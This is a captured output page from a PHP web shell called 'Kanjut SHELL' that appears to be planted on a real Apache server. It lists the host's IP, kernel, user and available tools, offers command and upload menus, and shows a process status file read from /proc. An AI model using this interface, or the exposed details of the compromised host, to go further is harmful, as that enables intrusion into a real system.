Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.148.117.237
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/486/../671/../35/../492/../19/../494/../27/../534/../499/../513/../536/../2136/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/486/../671/../35/../492/../19/../494/../27/../534/../499/../513/../536/../2136/status
Name:	dnsmasq
Umask:	0022
State:	S (sleeping)
Tgid:	2136
Ngid:	0
Pid:	2136
PPid:	1
TracerPid:	0
Uid:	983	983	983	983
Gid:	983	983	983	983
FDSize:	64
Groups:	 
NStgid:	2136
NSpid:	2136
NSpgid:	2135
NSsid:	2135
VmPeak:	   57792 kB
VmSize:	   57728 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    2604 kB
VmRSS:	    2100 kB
RssAnon:	     460 kB
RssFile:	    1640 kB
RssShmem:	       0 kB
VmData:	     464 kB
VmStk:	     132 kB
VmExe:	     372 kB
VmLib:	    9480 kB
VmPTE:	     140 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/30435
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001000
SigCgt:	0000000180016a03
CapInh:	0000000000000000
CapPrm:	0000000000003400
CapEff:	0000000000003400
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff,ffffffff,ffffffff,ffffffff
Cpus_allowed_list:	0-127
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	9
nonvoluntary_ctxt_switches:	2

Stv3n404 - 2023